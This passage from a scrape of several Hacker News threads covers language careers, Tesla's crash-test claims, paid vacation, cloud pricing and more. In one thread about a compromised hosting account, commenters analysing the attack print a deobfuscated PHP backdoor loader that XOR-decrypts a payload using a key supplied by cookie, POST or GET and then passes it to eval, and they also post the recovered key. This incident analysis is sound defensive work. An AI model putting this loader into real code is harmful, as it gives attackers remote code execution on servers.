Conventional wisdom could always be wrong - there's always a chance that the environment could shift and up-end everything we know. But the last programming languages designed by an individual to gain widespread acceptance were PHP and Ruby in 1995, Python in 1991, and Perl in 1987, and in most cases widespread success came only 15 years after invention. Other than that, everything's been corporate: Swift (Apple), Rust (Mozilla), Go & Dart (Google), Javascript (Netscape), Java (Sun), Objective-C (Sun and NeXT), C# & Visual Basic (Microsoft), C & C++ (Bell Labs). You could argue that Scala (Martin Odersky, 2004) and Clojure (Rich Hickey, 2007) might count, but I wouldn't call them mainstream in the sense of "You can have a safe career knowing only that language."

I think your best bet for building a programming language for a living is to become independently wealthy by founding a startup, and then write the programming language afterwards. Or alternatively, build a critical system for a large big company so that you're super valuable and have a track record, and then threaten to leave if you can't do your pet programming language project.

</comment><comment><USER3> We live in a times when Apple open-sourced Swift and even IBM are keen to use it now. Even for Apple the Swift language is not a revenue generator.

Only large corporations are willing to pay for compilers, etc but they want oodles of training, support, consulting, etc. And ... you have to be a Big Corp to be worthy of their business.

Perhaps, I'm tainted by conventional wisdom, but none of the languages referenced by @notsrademons has made its creators rich. Sure, they have good jobs and some get paid to speak at conferences and for consulting.

BUT ... you might be the one to break the mold. If your only motivation is to make money, then don't bother. If you truly believe in your "change the world" concept and you are prepared to hustle to see your vision succeed then Just Do It ! GOOD LUCK !</comment>


Ask HN: Is someone trying to hack me? - <AUTHOR> A few days ago I received an email from linkedin saying that my account had been suspended because they noticed unusual activity from outside linkedin and that I should reset my password. I didn't act on it since I don't use that service. Now a few minutes ago I got a similar email from twitter.<p>It seems someone is trying to hack me for some odd reason. Now, what can I or should I do? <comment><USER2> enable 2FA on all your accounts if you haven't already done so.

<comment><AUTHOR> Thanks for the quick reply. Problem with 2FA is that it's a pain in my country. I don't always get the text messages.</comment></comment>


Can You Hack Esquire's E-Ink Cover? - <AUTHOR> http://www.esquire.com/the-side/video/hacking-the-e-ink-cover

<comment><USER2> with thin film solar printed on plastics that I'd guess are about as thick as the e-ink itself, why wouldn't you just go solar. Who tries to look at a magazine in the dark?

Good to see e-ink actually getting out in the market now though.</comment>


Tesla Gets Carried Away Hyping Crash Test Results, Has Hand Slapped By Feds - <AUTHOR> http://www.forbes.com/sites/michelinemaynard/2013/08/22/tesla-gets-a-little-carried-away-has-hand-slapped-by-feds/ <comment><USER2> It says as much in the official Tesla press release:

 _NHTSA does not publish a star rating above 5, however safety levels better than 5 stars are captured in the overall Vehicle Safety Score (VSS) provided to manufacturers, where the Model S achieved a new combined record of 5.4 stars._

You can't blame Tesla for taking that number and running with it, given that (1) modeling car safety from two seaters to SUVs on a range from 1 to 5 _stars_ is ridiculous and (2) the star systems suffer from the same problems as contemporary game and movie reviews: 99% of all evaluated products land between 3 and 5 stars, where 3 then becomes the new _horrible_ , compressing the already low entropy of a star value further.

<comment><USER3> I demand p-values!

sum(p(accident type) __* p(estimated of surviving corresponding safety test))

<comment><USER4> P-values aren't probabilities you should multiply or add.

At best you're computing odds according to the null hypothesis (probably not what you indented). At worst it's as meaningless as adding meters to seconds.

</comment></comment></comment><comment><USER5> I really like Tesla and want them to succeed, but they've got some weird ideas about good PR. The cost calculator that factored in the cost of pump time at your billable rate; the over-the-top posture against the NY Times reviewer who discovered that the battery heater could draw enough power to affect range; and now this, where they made up their own methodology to convert VSS into stars and found themselves to be the best. (I'm not even considering the weird stuff like Elon Musk offering publicly to consult on Boeing's batteries, although I think that points to the source.) Aren't the "best car ever made" reviews enough?

<comment><USER6> You mean the reporter who drove around in circles trying to kill the car off and lied about the heater settings he used, also in an attempt to kill the car? I think you missed the whole week there where the actual drive data proved he was a fraud.

<comment><USER7> I don't like that reviewer, because he's evidently a very sloppy reviewer with a pretty poor understanding of physics and mechanics involved. However, I no longer think he was gaming the system deliberately. Assume incompetence before malice.

<comment><USER8> He may very well have been incompetent, but at the very least he was dishonest too. He put a serious bias on what he "reported" in his article. It may have been a malicious attempt to kill the car for a better story, or it may have just been an attempt to cover up his own incompetence, but either way, it was a pretty bad article and deserved to be trashed.

</comment></comment></comment></comment><comment><USER9> "The agency has dominion over any part of a vehicle sold in the United States, from the headlamps to the owner's manual, but can't regulate the speech of a corporation or its employees."

True, but the agency gives legal cover. When there is a question in court as to whether the safety systems performed "as advertised", the NHTSA is free to say that Tesla didn't follow the advertising guidelines, and therefore cannot comment on the performance of the safety system.

Drug companies can also advertise drugs outside the FDA guidelines, and would win a court challenge on 1st Amendment grounds. None do it because it would expose them to unbounded liability.

<comment><USER10> >Drug companies can also advertise drugs outside the FDA guidelines, and would win a court challenge on 1st Amendment grounds. None do it because it would expose them to unbounded liability.

No, no, no. This is utterly and confirmably false. It is illegal under the Federal Food, Drug and Cosmetic Act to advertise a prescription drug for a use that is not FDA approved, and it is within the FDA's mandate to recommend investigation to the Department of Justice in such circumstances. The FTC is authorized to oversee advertising for over-the-counter drugs under the Wheeler-Lea Act. As a recent example, Pfizer agreed to settle with the DoJ earlier this summer for half a billion to end an investigation brought under these very circumstances[1].

[1] [http://www.newstatesman.com/business/business/2013/07/pfizer...](http://www.newstatesman.com/business/business/2013/07/pfizer- pay-491m-fine-label-marketing-rapamune-us)

<comment><USER9> Jesus man. You seem awfully certain. Here is a ruling from December that affirms 1st amendment rights to market off label uses:

[http://www.reedsmith.com/files/uploads/DrugDeviceLawBlog/Car...](http://www.reedsmith.com/files/uploads/DrugDeviceLawBlog/Caronia.pdf)

" Caronia argues that he was convicted for his speech -- for promoting an FDA- approved drug for off-label use -- in violation of his right of free speech under the First Amendment. We agree. Accordingly, -3- we vacate the judgment of conviction and remand the case to the district court. "

It is uncertain whether marketing off label is protected by the 1st amendment. The courts don't all agree.

<comment><USER10> > The courts don't all agree.

The one case you cite is very fresh precedent in a single Circuit, and it's highly controversial. No other Federal Circuit has applied First Amendment standards to FDA misbranding regulations before. Even within the Second Circuit (three states), is it still illegal under law to misbrand a drug in marketing materials. The decision in Cariona hinges on the question of whether "misbranding" and "promotion of off-label use" are different narrowly defined legal scenarios. The Second Circuit was concerned that, in the latter scenario, doctors may be legally deterred from promoting off-label use, which is a common practice in medicine and research. You should not take away from this case that drug marketing is now a First Amendment free-for-all. Yes, I am awfully certain.

</comment></comment></comment></comment><comment><USER11> It just seems like the NHTSA is just reiterating that there's no official higher than 5 star rating to protect themselves, rather than scolding Tesla. Tesla did say that a rating higher than 5 stars does not exist, and that the extra high rating should be taken with a grain of salt seemed implied to me, but I guess they could have been clearer. The blog post was very in depth, so it's not like they were misleading people with their wording.

<comment><USER12> Yeah. This is a non-story; it makes a good headline but no one has been slapped. Tesla just noted that they received some papers which noted that for the internal purposes of the ranking, it got 5.4 stars. Then the NHTSA made a clarification that the official ranking actually doesn't go past 5 stars.

It's good for Tesla shareholders that Forbes decided to run with this story, though. Free advertising. There is no way anyone will ever perceive a fight about whether the car should have 5 or 5.4 stars as negative.

</comment></comment><comment><USER13> _Does it really hurt consumers if carmakers are bragging about doing well on tests?_

I'd argue that it might: NHTSA wants to encourage automakers to build safer cars. One way to do that is to provide them with detailed information on the results ("scores") of its tests, so that automakers can benchmark their engineering against each other and tune individual safety features as needed. Another way is to aggregate those results for each model and publish a consumer-friendly figure that automakers are motivated to be able to advertise as a "stamp of approval".

What they don't want is automakers getting into NHTSA test "hot-rodding" games, focusing their efforts on topping the individual tests by some small relative figure in order to claim things like "safest car ever". In an environment like that, NHTSA has to either stop publishing detailed results, or keep the mechanics of their testing secret in an attempt to prevent "benchmark gaming" of the kind we see all the time in technology. That sounds like an NHTSA that is competing with automakers rather than working with them, and I suspect that is how consumers could be ultimately hurt.

</comment><comment><USER14> This is nonsense: "can't regulate the speech of a corporation or its employees"

Entities have rights over how they are used in promotions, i.e., the right of publicity / personality rights [http://en.wikipedia.org/wiki/Personality_rights](http://en.wikipedia.org/wiki/Personality_rights)

For example, Consumer Reports No Commercial Use Policy - [http://www.consumerreports.org/cro/about-us/no-commercial- us...](http://www.consumerreports.org/cro/about-us/no-commercial-use- policy/index.htm)

</comment><comment><USER15> I wonder how many other cars got more than five stars by Tesla's methodology? From the graph, it looks like some have very close ratings.

And clearly, the goal here is to stop every manufacturer from just coming up with their own rules for interpreting the score that give them a different rating from the one that the NHTSA gives. That's definitely worthwhile.

</comment><comment><USER16> It was easy to see that coming once the media story took off the way it did. But this just generates more coverage of Tesla's results.

I doubt that anyone at Tesla is feeling the least bit chastised. Musk is certainly not the type of person who is afraid to generate a little controversy.

</comment><comment><USER17> Official announcements on [http://www.safercar.gov/](http://www.safercar.gov/) (image) and [http://www.nhtsa.gov/Misc/HeadLines](http://www.nhtsa.gov/Misc/HeadLines) (first headline)

</comment><comment><USER18> So a problem with precision and judgment, but not integrity?

<comment><USER17> __and __integrity:

> NHTSA does not rate vehicles beyond 5 stars and does not rank or order > vehicles within the star rating categories.

So the following statement is flat-out untrue:

> SETS NEW NHTSA VEHICLE SAFETY SCORE RECORD

If NHTSA does not rate vehicles beyond 5 stars, the maximum safety score is 5 and thus 5.4 is irrelevant

I think if the headline was "sets new vehicle safety score record", dropping the NHTSA acronym, then it would be fine.

<comment><USER19> The Tesla blog post makes it abundantly clear that the 5.4 is the report the manufacturer receives (not the issued rating which is capped at 5). Why does it stop at 5 if you can still die in those cars?

<comment><USER15> I don't think it does make that clear. It says "safety levels better than 5 stars are captured in the overall Vehicle Safety Score (VSS) provided to manufacturers" but the VSS value for the Tesla was 0.43 according to the blog post. So where did the 5.4 come from? Extrapolation?

<comment><USER19> You're right - they didn't make it abundantly clear that the VSS report was 0.43. Regardless, the conversion they made isn't insane when you look at the other VS scores. Plus - watch the videos of other 5 star rated vehicle versus the Model S. It's like the comparison between a 1980s car and one from 2013.

</comment></comment></comment></comment></comment><comment><USER20> ObHeadlineHypeComplaint: that's a "hand slap"?

<comment><USER21> I take it from the article, nothing but a statement from the safety agency asking "car manufactures" (not even mentioning Tesla) to not misrepresent their data to the public.

</comment></comment><comment><USER22> Better to ask for forgiveness than permission.

</comment><comment><USER23> why is shit like this on the HN frontpage?

<comment><USER16> HN isn't just about software/engineering, it's also about entrepreneurship.

Tesla is a startup with cool technology. They're taking on a market where startups never succeed and are navigating significant challenges regarding new technology, consumer bias, competitors, regulatory issues, business model, press relations, and more. Some of us find it fascinating and enlightening to watch them take this journey.

Edit: Reworded.</comment></comment>


Google Cloud Platform Live - <AUTHOR> https://cloud.google.com/events/google-cloud-platform-live/

<comment><USER2> Some of the key take-aways: -30-85% price cuts for Compute Engine, App Engine, Cloud Storage, and BigQuery

-new DevOps tools

-launching Cloud DNS service

-launching BigQuery streaming service

-launching Managed Virtual Machines for App Engine

A more detailed write-up with some of the notable announcements from the keynotes:

[http://techcrunch.com/2014/03/25/googles-cloud-platform- goes...](http://techcrunch.com/2014/03/25/googles-cloud-platform-goes-on-the- offensive/)

<comment><USER3> Anyone have a reference to how much the appengine pricing reductions are?

<comment><USER4> [https://developers.google.com/appengine/pricing](https://developers.google.com/appengine/pricing)

<comment><USER3> Sorry meant in comparison to the old price.

</comment></comment></comment></comment><comment><USER5> Whoa, since when are Chrome User Profiles[1] a thing? It's like having multiple incognito sessions.

1\. [https://support.google.com/chrome/answer/2364824?hl=en](https://support.google.com/chrome/answer/2364824?hl=en)

<comment><USER6> It's been a thing for a _long_ time. My wife and I have been using them for at least two years, IIRC.

<comment><USER7> I've been using them since August 2011 at the very least. They were suggested to me when I started my job as a way to keep my work and personal accounts separate.

</comment></comment></comment><comment><USER8> I guess the online cloud computing space is getting more and more competitive. Has anyone used digital ocean before? [https://www.digitalocean.com](https://www.digitalocean.com)

</comment><comment><USER9> I hope they do something about their support. It is abysmal to say the least.

<comment><USER10> Hi curiousDog, if you're paying for one of our support packages ([https://cloud.google.com/support/](https://cloud.google.com/support/)) and you're not happy, I'd be interested to hear about what's not working for you. You can email me at dewitt at google.

(If the free support isn't working, I'd still be interested, but also would likely recommend you consider signing up for a Silver or Gold package if you're building a business on GCP. Thanks!)

</comment></comment><comment><AUTHOR> This is starting in a few minutes now.

</comment><comment><USER11> live now!</comment>


Ask HN: Can you decrypt this evil thing? - <AUTHOR> The back story is, someone got a stolen FTP password to a client's account on a shared server and uploaded this. It's some kind of darkmailer, since I spent the next three days getting that server off blacklists. It doesn't look like the attacker got access outside the account. The account's been cleaned out, but I still don't know what else this might have done. I got one level of deobfuscation in -- that's the easy part -- but it looks like it takes an input string to decrypt what's inside that. There are two parts, one in PHP and the other in perl.
http://pastebin.com/ctswucid
http://pastebin.com/vVjYrikW <comment><USER2> The code is obfuscated as ascii characters in the $e variable. It uses the PHP function 'cor' to 'decrypt' the code (I think the same method is used in evil.pl).

The PHP code is:

if (!@isset($_SERVER)) { $_COOKIE = &$HTTP_COOKIE_VARS; $_POST = &$HTTP_POST_VARS; $_GET = &$HTTP_GET_VARS; } $k = $_COOKIE['key']; if (empty($k)) { $k = $_POST['key']; } if (empty($k)) { $k = $_GET['key']; } if (!@function_exists('decrypt')) { eval('function decrypt($e,$k){if(!$k){return;}$el=@strlen($e);$kl=@strlen($k);$rl=$el%$kl;$fl=$el-$rl;for($o=0;$o<$fl;$o+=$kl){$p=@substr($e,$o,$kl);$d.="$k"^"$p";}if($rl){$p=@substr($e,$fl,$rl);$k=@substr($k,0,$rl);$d.="$k"^"$p";}return($d);}'); } $d = @decrypt($d, $k); eval($d);

</comment><comment><USER3> For PHP script, the key is:

SjJVkE6rkRYj

and decrypted evil script is here:

<http://pastebin.com/z53aByWX>

I didn't look at perl script.

<comment><USER3> And here's decrypted perl script: <http://pastebin.com/7RDpTXDp>

It does almost the same thing as PHP script, and uses the same key :P</comment></comment>


U.S. is the only developed country with no guaranteed paid vacation or holidays - <AUTHOR> http://www.washingtonpost.com/blogs/wonkblog/wp/2013/05/27/america-is-the-only-rich-country-that-doesnt-guarantee-paid-vacation-or-holidays/ <comment><USER2> Time and money are fungible. When you "guarantee" workers 4-5 weeks of vacation, who's to say your comp isn't being adjusted downwards to compensate? What's the apples-apples comparison you could do between, say, Germany and the US to demonstrate how much better a deal the Germans are getting on this?

Meanwhile, if you're making near minimum wage, aren't you more likely to be fighting for additional hours rather than looking for reasons to give them up?

<comment><USER3> I used to think that mandatory vacation laws were an undesirable restrictions on worker freedom. I figured workers should have the freedom to choose their own balance between compensation and vacation time.

I changed my mind on the issue. For a long version of my new thinking, I have a blog post: _The Four Economic Classes and Their Respective Plights_ <http://intellectual-detox.com/2013/01/20/economic-classes/> I'll try and give a shorter version here.

The problem is that an increasing percentage of jobs in the economy are either zero-sum or positive sum but very competitive or winner-takes-all in nature. In such a situation, unilaterally choosing to take a vacation can be a death sentence. But if everyone takes a vacation, everyone could be better off.

This is a classic prisoners dilemma problem. As a sales person at a software company, I might want more vacation time. But if I take off the time, I might lose the sale to a competing firm, who does not take time off (the I lose, they win quadrant of the game). So both might work the extra day, and we both lose because we are working more. But if there is a law mandating a national holiday, then we both can take the day off, without losing the sale to the competing firm.

For the minimum wage worker, yes, that particular worker might be fighting for more hours. But when all the low wage workers fight for more hours and give up benefits, it just drives down the wages for everyone. The U.S. is rich enough to both give all workers a living wage and enough vacation, so why not enact the policies to do so? (Just mandating more vacation alone, might not be a good idea, but mandating vacation plus giving some sort of wage subsidy either in the form of cash or in health benefits, might be a quite good idea).

<comment><USER4> _The problem is that an increasing percentage of jobs in the economy are either zero-sum or positive sum but very competitive or winner-takes-all in nature. In such a situation, unilaterally choosing to take a vacation can be a death sentence. But if everyone takes a vacation, everyone could be better off._

I wouldn't be. I don't wanna trade money for vacation. I am young, immigrant, I wanna save up money, I don't wanna trade vacation time for my salary.

You can make your case if you want, but please avoid taking anonymous authority and say things like "if everyone takes a vacation, everyone could be better off, if we just used the government to force every employer to give everyone vacation time".

<comment><USER5> Note that we are talking about _paid_ vacation. You get both. Your paycheck still comes, but you don't go to work.

</comment></comment></comment></comment><comment><USER6> And no guaranteed health care. Makes for a "wonderful mess" where if one person gets sick, it wipes out the workplace, because they cannot afford to not be on the job.

But hey they are trying to bring back indentured servitude so these are the least of the average person's worries.

<comment><USER7> Another reason to not miss a day on the job: half of your income is confiscated by your government for the "social good" + massive regulations prevent a lot of people from getting work, so it's much harder to change employer or start a business than would otherwise.

And of course, 80 bln dollars printed per month raise prices making every USD holder poorer everyday.

Definitely, we need more welfare mess on top of it.

<comment><USER8> > _"Another reason to not miss a day on the job: half of your income is > confiscated by your government for the "social good""_

Taxation is not spread evenly. The portion of the population most at-risk (i.e., lowest levels of health insurance, lowest levels of paid leave, etc) pay little to no taxes. Tax rates only become high in populations that can afford to take a day off (i.e., good health insurance coverage, paid sick days, etc).

So no, the people who are afraid of missing a day of work do not have "half their income" confiscated by the government.

In fact, I'd be interested in seeing _anyone_ in the US who pays an income tax rate of 50%. This seems like an interesting feat, considering the _highest marginal rate_ is 40%.

<comment><USER9> He is not saying "income tax rate is 50%". Please pay attention. The half of the income comes from the estimates of how much you pay taxes in total. Including property, sales tax, various fees and tariffs, and, most importantly, portion of corporate and other taxes that the consumer pays as part of the prices of goods and services.

</comment></comment></comment></comment><comment><USER10> And when you are lucky enough to get paid vacation, it is usually 1 - 2 weeks less than the norm for many european countries.

<comment><USER11> Increasing it may not help that much- don't we have a chronic problem of people not actually using their vacation?

<comment><USER12> We have the problem here in the UK and the likely rest of Europe. Some employers just aren't interested in treating their staff well, but for those who are, having a better standard to follow is nice.

</comment></comment></comment><comment><USER13> It's interesting that most of the countries with the higher levels of paid vacation and holidays have some of the absolute worst economies. Portugal? Spain? Italy? France? Greece?

Yeah, how's the guaranteed vacations and holidays working out for them?

<comment><USER14> You're comparing one extreme to another in order to say that your preferred extreme is better? Based on the logic that you're trying to put forth paid vacation should be made illegal. Then the economy would increase 10-fold, right?

</comment></comment><comment><AUTHOR> FYI here's the original report: [http://www.cepr.net/documents/publications/no-vacation- updat...](http://www.cepr.net/documents/publications/no-vacation- update-2013-05.pdf)

</comment><comment><USER15> "The United States is the only advanced economy in the world that..."

The United States, like the past, is a different country. We do things differently here.

<comment><USER16> The United States didn't become the most powerful country by following others.

</comment></comment><comment><USER17> We're also one of only three countries in the world with no mandatory maternity leave and the only "developed": [http://www.americanprogress.org/issues/labor/news/2013/03/08...](http://www.americanprogress.org/issues/labor/news/2013/03/08/55683/the- united-states-needs-to-guarantee-paid-maternity-leave/)

</comment><comment><USER18> Interesting, does China have mandatory paid vacations and holidays?

<comment><USER19> China hasn't got free speech either. What is your point?

<comment><USER18> Well I didn't think China did, and they are certainly a 'developed nation' so saying the US is the "only" developed nation without it was false on its face. So that made me wonder what subtext the headline was trying send.

As at last check China was on track to be the #2 economy in the world and perhaps the #1 economy (replacing the US). If you wrote the article title "All the top economies of the world don't have mandatory vacation" its a much different message is it not?

One headline seems to advocate that the US is barbaric for not allowing vacation, and the other headline seems to advocate that you can't become a top economy by giving away GDP.

<comment><USER20> China is not a developed nation by modern standards. It still has very high levels of poverty and a low average income compared to what is typically called 'The West' (Western Europe, North America, Japan, etc.).

<comment><USER18> Can you say more about why you base the definition of 'developed' on per capita income rather than economic capability? I ask because my definition is 'capable of providing all needs of the citizens caveat raw materials' so by that definition China can build pretty much anything it needs if it has the raw materials to do so, it doesn't depend on any other economy for transforming or upleveling those materials into economic inputs.

I agree with you that its people do not benefit equally from its economy but I don't tie that into 'developed' or 'not developed'.

</comment></comment></comment></comment></comment><comment><USER21> On the other hand, IT salaries are way higher in the US than they are in Europe. When I see people here talking about $100k a year like it's normal thing to have I feel that difference.

<comment><USER22> Those salaries are only common in a few areas with an outrageously high cost of living. In the rest of the country, the salaries aren't much higher than the ones in Europe.

</comment></comment><comment><USER23> Austria have 35 days off guaranteed (almost 2 months if you throw a few days off because of sickness) while the us have 16 on average and the GDP per capita of the two countries is almost the same.

Ample amounts of rest does not seem to increase productivity in the rest of the time.

Fun fact - in Boleslaw Prus Pharaoh one of the main economic measures what the pharaoh declaring every seventh day a rest one instead of every tenth for the peasants with the argumentation that they will work better the rest of the times.

<comment><USER24>
        GDP per capita of the two countries is almost the same.
        Ample amounts of rest does not seem to increase productivity
        in the rest of the time.

GDP per capita is a per annum figure - so productivity (economic output per days of work) would actually be higher for Austria in the above case.

</comment></comment><comment><USER25> My 25 days "paid" vacation a year was no more "paid" (when I had it) than my 52 "paid" weekends a year.

It's simply non-discretionary time available for me to not come into work, the cost of which has already been deducted from my salary.

That's not to say I didn't value the generous amount of time off, and that's not to say Americans will find it easy to negotiate such an amount of unpaid leave. But let's be realistic about what "paid" vacation is.

</comment><comment><USER26> It is best to boil it down to one variable, in this case, money and let the employee decide.

</comment><comment><USER20> We have a tendency to overwork because relative status matters to our well- being. In short, it's a massive prisoner's dilemma and income tax can be seen as a corrective on this.

So mandatory holidays are in fact a great idea because they overcome a coordination failure.

(Discuss...)

</comment><comment><USER27> "U.S. is the only developed country not poisoned by socialism"

fixed

<comment><USER28> Dog eat dog is so much better, right? I still don't understand how John Rawls was born in USA, his views were so un-American.

<comment><USER14> Dog eat dog is much better... if you view yourself as the alpha dog. The funny thing is that were push come to shove, you might find out that your views and reality differ.

</comment></comment></comment><comment><USER29> In the 21st century, the U.S. isn't a First World country. That's not a dig. It's just the new reality.

20th century defintions:

        First World: liberal, capitalistic democracies
        Second World: totalitarian leftism (Soviet bloc)
        Third World: poorer countries "in play" (Afghanistan, Korea, Vietnam).

This isn't very useful anymore. S. Korea is _not_ "third world" and totalitarian leftism died.

21st century definitions:

        First World: Nations with established social democracies (welfare states).
        Second World: Nations sacrificing well-being for other motives.
        Third World: Poor countries that don't get to choose.

Most people would think of the BRIC countries as "Second World", then. These countries are sacrificing equity and, in many cases, democracy in order to have rapid economic growth. The Arab petrostates are also Second World: rich, but through social and political sacrifice. But the U.S. is doing the same thing; it's just that the U.S. isn't seeking rapid growth (difficult when already in the lead) but the maintenance of military supremacy (hence the gigantic war budget).

It's not all bad news. Second World countries tend to make it a lot easier to get individually rich.

<comment><USER30> You don't get to make up the definitions.

<comment><USER29> I didn't; that's how they seem to be used in the 21st-century world. To be honest, though, the "Nth World" classification is of questionable utility.

<comment><USER31> Especially since your 20th century definitions aren't correct, it brings into question that your definitions of the 21st are near correct or widely accepted.

<https://en.wikipedia.org/wiki/First_World>

</comment></comment></comment></comment><comment><USER30> _The United States is the only advanced economy in the world that does not guarantee its workers paid vacation._

You can guarantee it yourself when you accept a position somewhere. But once again we have leftists in the media assuming that everybody is completely incompetent without the government intervening in every aspect of society. You can just see those so-called journalists over at the Washington Post looking at the "social democracies" like a starry-eyed school girl.

<comment><USER32> You are being completely ignorant.

My girlfriend, who has a college degree, works for Delta as a flight attendant. After the North West merger, her colleagues collectively voted against a union because of perceived corruption and expectedly high union dues. In the year since the failed vote, there have been substantial adverse changes to vacation and sick leave rules, increased abuse of duty days by crew scheduling, and decreased medical benefits.

That's 20,000 people who thought they had guarantees on paid vacation who suddenly need to spend more of their own money to get a doctors note on holiday weekends. By the way, if you need a doctors note at 4am before going to work: You need to go to the ER... which is expensive. Meanwhile, they are being forced to work longer and longer hours for depreciating pay.

The ~9,000 people who knew to vote for collective bargaining power should not be punished by the ~11,000 short sighted ones. Furthermore, government exists to provide for the common welfare. That's its role. Those 20,000 people already pay their taxes, why should they also have to pay union dues to get basic protections for their working conditions and compensation?

This story happens over and over again in many industries.

These people aren't incompetent, yet you're suggesting that they'd have to be in order for someone to believe that they need government to protect them. In the common case, they are hardworking, educated, friendly people who are being screwed by people like you. Wether you and our elected officials are ignorant or malicious, I don't know. But what you are saying is bullshit.

<comment><USER33> Wouldn't that indicate that she should find another position?

<comment><USER32> Where?

She could go to a totally different industry, but she'd be starting her career over again at the bottom.

She loves flying & traveling, so she'd probably want to go to another airline. However, Delta (one of the largest airlines) accepts a only few thousand new flight attendants per year out of many tens of thousands of applicants. Smaller airlines would be even more difficult to get a job at. All the airlines are also seniority based, so she's have to start her career over again at the bottom. Experience at other airlines wouldn't contribute one iota to her standing in a new airline.

College put her (and everybody else) in substantial debt, so she can't start a business or do anything really risky like that.

This is a story you have all heard over and over again...

If you're a well paid engineer, it might be hard for you to understand: Educated, hard working people, are constantly screwed by the system and consistently ignored by people who don't understand their plight.

<comment><USER34> _"All the airlines are also seniority based..."_

That's probably something that's dictated by the union contract, just as it is with school teachers and other unionized workers. If it was up to the airline, they'd probably promote based on how well people did their jobs rather than seniority. So in this way, the unions are decreasing the ability of employees to look for jobs elsewhere.

<comment><USER32> > If it was up to the airline, they'd probably promote based on how well > people did their jobs rather than seniority.

How does an airline know how well people do their jobs?

There are thousands of flight attendants based in NYC alone. It's not uncommon for the flight leader to never lead a particular team member a second time. How are you going to have peer reviews?

The best they can do is find bad people via complaints and the best people via complement cards. Finding the best people by process of elimination isn't really a good strategy. And complement cards are only really provided by frequent flyers and in first class, which is predominantly staffed by more senior crew members.

But this generalizes too: What does it mean to be the best factory workers? For some employers, the definition would be "doesn't get sick and/or complain".

The best flight attendants are only twice as helpful and friendly as the pretty good flight attendants. Should they get paid double for something so subjective as "friendly and helpful?" Meanwhile, the best engineers are (some say) 10X (or even 100X) more productive. Yet they only make what 3X to 6X the pay on average, but only if they know how to negotiate... oh and by the way, they work in the field with the lowest supply and highest demand. Unlike effectively unskilled labor that most of the world has no choice but to do.

<comment><USER34> _"There are thousands of flight attendants based in NYC alone. It's not uncommon for the flight leader to never lead a particular team member a second time."_

Just because this is the way that flight crews are scheduled today doesn't mean that it's the only way it can be done. Why can't the schedule be arranged so that the same crew and leader stay together (as much as possible) on subsequent flights? Of course, there's no reason for the airlines to try any new approaches as long as unions won't budge on seniority.

<comment><USER32> We're now way off topic into the details of a particular industry, but I'll entertain your comment anyway. I just want to stress again: These problems generalize to many many many other industries.

> Why can't the schedule be arranged so that the same crew and leader stay > together (as much as possible)

Because...

1) Flights get delayed or canceled

2) Crew member get sick or stuck elsewhere around the world

3) Planes are of varying size with varying size crews

4) Destinations change seasonally

5) Holidays and events alter flight schedules

6) People quit

7) People move and transfer bases

Never mind that flexibility to travel is the #1 job perk that they have to offer as career bait. Flight attendants trade flights, full trips, and destinations all the time. They are in that line of work so that they can go to interesting locations, if only for a short while. You could half their pay and they would still complain much more loudly if you halved their destination flexibility.</comment></comment></comment></comment></comment></comment></comment></comment>


Takt Time: How Ford Learned to Make WWII Bombers 24x Faster - <AUTHOR> https://www.process.st/takt-time/ <comment><USER2> It covers very little of how Ford learned the process.

It mostly covers Takt time, with only a few paragraphs about its application at Ford's Willow Run facility.

Even then, it was mostly a description of the breakdown of some of the operations.

Some questions which I left with, unanswered, were:

1) how did Ford/Sorensen learn about Takt time? What method was used previously?

The given citation to [http://www.historyofwar.org/articles/weapons_liberator_produ...](http://www.historyofwar.org/articles/weapons_liberator_production_pool.html) says "Ford attempted to apply automotive mass production methods to the production of heavy bombers. However this was a complex process and early progress was very slow." so was Takt time already in place in Ford automotive plants?

2) what problems did they have putting it into place?

That is, if it took years to get right, then it can't be simply a matter of breaking things down into time blocks, with a buffer factor, and letting it go.

3) If the method comes from Germany, and "By monitoring and setting guidelines for this single figure, Ford (and company) was able to build a facility which could produce the same as half of the entire German aircraft industry.", then why wasn't Germany using Takt time for the same production improvements?</comment>


Ask HN: Are email providers required to give email access if locked out? - <AUTHOR> For example, if Google/Yahoo/Microsoft or whomever, locked you out of your account for 'suspicious behavior', breaking TOS, or some other reason are they required (legally) to provide you with copies of your existing emails? Regardless of if you've actually done anything? This hasn't happened to me but I've heard horror stories about it happening to others. What are some mitigations that my not so tech savy grandmother could take to prevent this from happening? <comment><USER2> Nope. Actually they're not even legally required to abide by their own TOS. It's a completely one sided agreement, where they both dictate and interpret the terms. They only time you might have a legal challenge is if you pay for service as there is contract or an implied contract. Those usually force you in to binding arbitration.

Decades of consumer protections are being cast asside.

I'm not sure there's much you can do. Having consumer protection laws catch up with the modern times would be nice, but it's doubtful that they'll be anything more than token gestures to quiet people down.

<comment><AUTHOR> Do you think people would benefit from a service that allows them to own their emails regardless of who their provider is?</comment></comment>


Jonathan Gold, L.A. Times Restaurant Critic, has died - <AUTHOR> https://www.thedailybeast.com/jonathan-gold-legendary-la-times-restaurant-critic-is-dead-at-57 <comment><USER2> City of Gold [0] is a wonderful documentary, well worth the watch.

[0]([https://amzn.to/2JIe0JJ](https://amzn.to/2JIe0JJ))

</comment><comment><USER3> Pancreatic cancer is scary as hell because there's no warning signs until it's too late. I wonder why we're not doing more to develop blood tests or other ways to detect this much earlier in the process when the results are so binary, and it's also increasing in terms of number of cases every year.

<comment><USER4> More cases are showing up because the largest population boom in human history, the baby boomers, are just hitting the retirement age. This type of cancer is highly correlated with the population size unlike other cancers which may be correlated by diet such as liver cancer, from drinking alcohol, or lung cancer, from smoking.

<comment><USER5> Why is pancreatic cancer correlated with population size but other cancers not? I would think that any disease is correlated with population size.

<comment><USER6> I think OP was referring to incidence, and you are thinking of prevalence.</comment></comment></comment></comment>


Built this Craigslist Aggregator. What do you guy's think? - <AUTHOR>

I didn't want to submit this as a link, I just wanted your opinion as to if this is useful to you all:
http://www.mykraigslist.com
This helped me find numerous jobs on CL. I don't have all of CL in there because it was a lot of work just getting what is currently supported. This is just for the U.S. This is a not-for-profit tool. <comment><USER2> I like it in principle, but I think the interface could use improvement.

I had to click lots of stuff to get it to select only my city.

I don't like the "window" tabs much. Maybe it would work better extracting text & attributes then letting you expand the entry in place, or perhaps by flagging items of interest then generating a report.

It would also be cool if it allowed more detailed filtering than is already supported by CL.

I'm a networker so CL isn't really that useful to me personally, but lots of people rely on it for job searches and improved usability / accessibility could be a significant boon there.

</comment><comment><USER3> I like it. It works fine, albeit a bit slow. Are you scrapping in real time, no caching? Have you thought of sharing the code (githubit)?

<comment><AUTHOR> <https://github.com/compubomb/Craigslist-Aggregator> I have a 30 minute cache as once apon a time CL blacklisted my web host.

